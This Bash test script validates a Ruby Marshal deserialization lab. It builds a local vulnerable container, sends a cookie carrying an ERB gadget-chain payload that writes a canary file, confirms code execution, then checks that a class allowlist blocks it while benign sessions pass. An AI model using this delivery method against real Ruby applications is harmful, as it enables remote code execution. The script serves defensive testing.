145 lines
4.1 KiB
Bash
Executable File
145 lines
4.1 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# ©AngelaMos | 2026
|
|
# target-gate.sh
|
|
|
|
set -uo pipefail
|
|
|
|
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
|
|
|
IMAGE="rube-target:local"
|
|
CONTAINER="rube-target-gate"
|
|
PORT="${RUBE_TARGET_PORT:-47823}"
|
|
BASE="http://127.0.0.1:${PORT}"
|
|
CANARY_MARKER="fired"
|
|
|
|
cleanup() {
|
|
docker rm -f "${CONTAINER}" >/dev/null 2>&1 || true
|
|
}
|
|
trap cleanup EXIT
|
|
|
|
echo "building target image"
|
|
docker build -q -f "${HERE}/target/Dockerfile" -t "${IMAGE}" "${HERE}" >/dev/null || {
|
|
echo "FAIL image build"
|
|
exit 1
|
|
}
|
|
|
|
cleanup
|
|
docker run -d --name "${CONTAINER}" \
|
|
--network bridge \
|
|
--read-only \
|
|
--tmpfs /tmp:rw,noexec,nosuid,size=1m \
|
|
-p "127.0.0.1:${PORT}:4567" \
|
|
"${IMAGE}" >/dev/null
|
|
|
|
for _ in $(seq 1 40); do
|
|
curl -sf "${BASE}/" >/dev/null 2>&1 && break
|
|
sleep 0.5
|
|
done
|
|
|
|
if ! curl -sf "${BASE}/" >/dev/null 2>&1; then
|
|
echo "FAIL target never became reachable on ${PORT}"
|
|
docker logs "${CONTAINER}" 2>&1 | tail -20
|
|
exit 1
|
|
fi
|
|
|
|
echo
|
|
curl -s "${BASE}/" | head -3
|
|
echo
|
|
|
|
payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \
|
|
ruby -Ilib -e '
|
|
require "rube"
|
|
require "base64"
|
|
chain = Rube::Chains::ErbDefMethod.canary("/tmp/rube-canary", "fired")
|
|
state = { user: "attacker", template: chain.generate }
|
|
print Base64.strict_encode64(Marshal.dump(state))
|
|
')"
|
|
|
|
if [[ -z "${payload}" ]]; then
|
|
echo "FAIL payload generation produced nothing"
|
|
exit 1
|
|
fi
|
|
|
|
failures=0
|
|
|
|
before="$(curl -s "${BASE}/canary")"
|
|
vulnerable_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render")"
|
|
after="$(curl -s "${BASE}/canary")"
|
|
|
|
echo " vulnerable endpoint : ${vulnerable_body}"
|
|
echo " canary before/after : ${before} -> ${after}"
|
|
|
|
if [[ "${after}" == "${CANARY_MARKER}" && "${before}" != "${CANARY_MARKER}" ]]; then
|
|
echo " PASS HTTP request achieved code execution through Marshal.load"
|
|
else
|
|
echo " FAIL payload did not execute over HTTP"
|
|
failures=$((failures + 1))
|
|
fi
|
|
|
|
docker exec "${CONTAINER}" rm -f /tmp/rube-canary >/dev/null 2>&1 || true
|
|
|
|
reset="$(curl -s "${BASE}/canary")"
|
|
safe_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render/safe")"
|
|
safe_after="$(curl -s "${BASE}/canary")"
|
|
|
|
echo
|
|
echo " defended endpoint : ${safe_body}"
|
|
echo " canary before/after : ${reset} -> ${safe_after}"
|
|
|
|
if [[ "${safe_after}" != "${CANARY_MARKER}" && "${safe_body}" == rejected* ]]; then
|
|
echo " PASS defended endpoint rejected the identical payload"
|
|
else
|
|
echo " FAIL defended endpoint did not reject the payload"
|
|
failures=$((failures + 1))
|
|
fi
|
|
|
|
jar="$(mktemp)"
|
|
curl -s -X POST "${BASE}/session" -d "" -c "${jar}" >/dev/null
|
|
benign="$(awk '$6 == "session_state" {print $7}' "${jar}")"
|
|
rm -f "${jar}"
|
|
|
|
echo
|
|
if [[ -z "${benign}" ]]; then
|
|
echo " FAIL could not obtain a benign session, the control did not run"
|
|
failures=$((failures + 1))
|
|
else
|
|
benign_body="$(curl -s --cookie "session_state=${benign}" "${BASE}/render/safe")"
|
|
echo " benign on defended : ${benign_body}"
|
|
if [[ "${benign_body}" == rejected* ]]; then
|
|
echo " FAIL defended endpoint rejects legitimate sessions, it is not a filter"
|
|
failures=$((failures + 1))
|
|
else
|
|
echo " PASS defended endpoint still serves a legitimate session"
|
|
fi
|
|
fi
|
|
|
|
echo
|
|
sinks="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \
|
|
ruby -Ilib -e '
|
|
require "rube"
|
|
require "base64"
|
|
chain = Rube::Chains::ErbDefMethod.canary("/tmp/rube-canary", "fired")
|
|
blob = Marshal.dump({ user: "attacker", template: chain.generate })
|
|
result = Rube::Marshal::Parser.new(blob).parse
|
|
print result.sinks.length
|
|
')"
|
|
|
|
echo " sink-tag hits on the working payload : ${sinks}"
|
|
if [[ "${sinks}" == "0" ]]; then
|
|
echo " NOTE sink detection alone does NOT catch this chain, only the class"
|
|
echo " allowlist does. ERB defines no marshal_load, so it serializes as"
|
|
echo " a plain object and carries no sink tag."
|
|
else
|
|
echo " FAIL expected the ERB chain to carry no sink tag, got ${sinks}"
|
|
failures=$((failures + 1))
|
|
fi
|
|
|
|
echo
|
|
if [[ ${failures} -eq 0 ]]; then
|
|
echo "GATE PASSED"
|
|
exit 0
|
|
fi
|
|
|
|
echo "GATE FAILED (${failures})"
|
|
exit 1
|